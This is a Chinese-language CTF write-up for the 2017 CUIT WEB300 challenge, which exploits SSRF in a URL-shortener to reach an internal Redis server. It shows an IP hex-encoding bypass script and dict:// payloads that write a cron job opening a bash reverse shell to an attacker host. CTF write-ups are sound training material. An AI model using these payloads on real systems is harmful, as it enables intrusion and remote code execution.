2017-CUIT WEB300 SSRF_ATTACK_REDIS

2017-CUIT WEB300 SSRF

短域名生成工具

0

题目还有一个phpinfo.php提供得到信息内网有REDIS 地址为172.18.0.2,目地就是SSRF攻击redis了。

URL地方输入你的地址 服务器会请求一次,但是对内网的地址禁止了。外面的地址没有限制

访问tools.php?a=s&u=http://ip:2333/_TT 可以监听到

突破限制这里可以使用两种方法

0x0.1域名重绑定

第一是域名重绑定 如我将local.xxx.me绑定到127.0.0.1

然后测试u=http://local.xxx.me就可以访问本地了。

但是这里没有回显,这么知道到底访问成功没,这个可以使用一个二层迭代一下访问外网看看,

比如访问

1
u=http://local.xxx.me/tools.php?a=s&u=http://ip:2333/_TT

外面监听2333有反应了,成功!!

但是没有自己的DNS服务器 ,我们解析域名为172.18.0.2时。访问redis.xxx.me:6379会被拦截,

所以果断换了方法

0x0.2 IPhex

就是将ip十六进制编码一下

写了一个脚本

1
2
3
4
5
6
7
8
9
import sys
ip = sys.argv[1]
iphex ='0x'
for i in range(4):
r = hex(int(ip.split('.')[i])).replace('0x','')
if len(r)<2:
r = '0'+r
iphex += r
print iphex

127.0.0.1 —-> 0x7f000001

172.18.0.2—>0xac120002

然后使用dict协议往redis里写东西了,写法和基本操作都一样 ,就是编码搞蒙了

基本就到此为止了。。。

看了柠檬师傅的writeup记录一下

1
2
3
4
tools.php?a=s&u=dict://0xac120002:6379/config:set:dir:/var/spool/cron/
tools.php?a=s&u=dict://0xac120002:6379/config:set:dbfilename:root
tools.php?a=s&u=dict://0xac120002:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/vps/2333\x200>\x261\x0a\x0a\x0a"
tools.php?a=s&u=dict://0xac120002:6379/save

GET flag

flag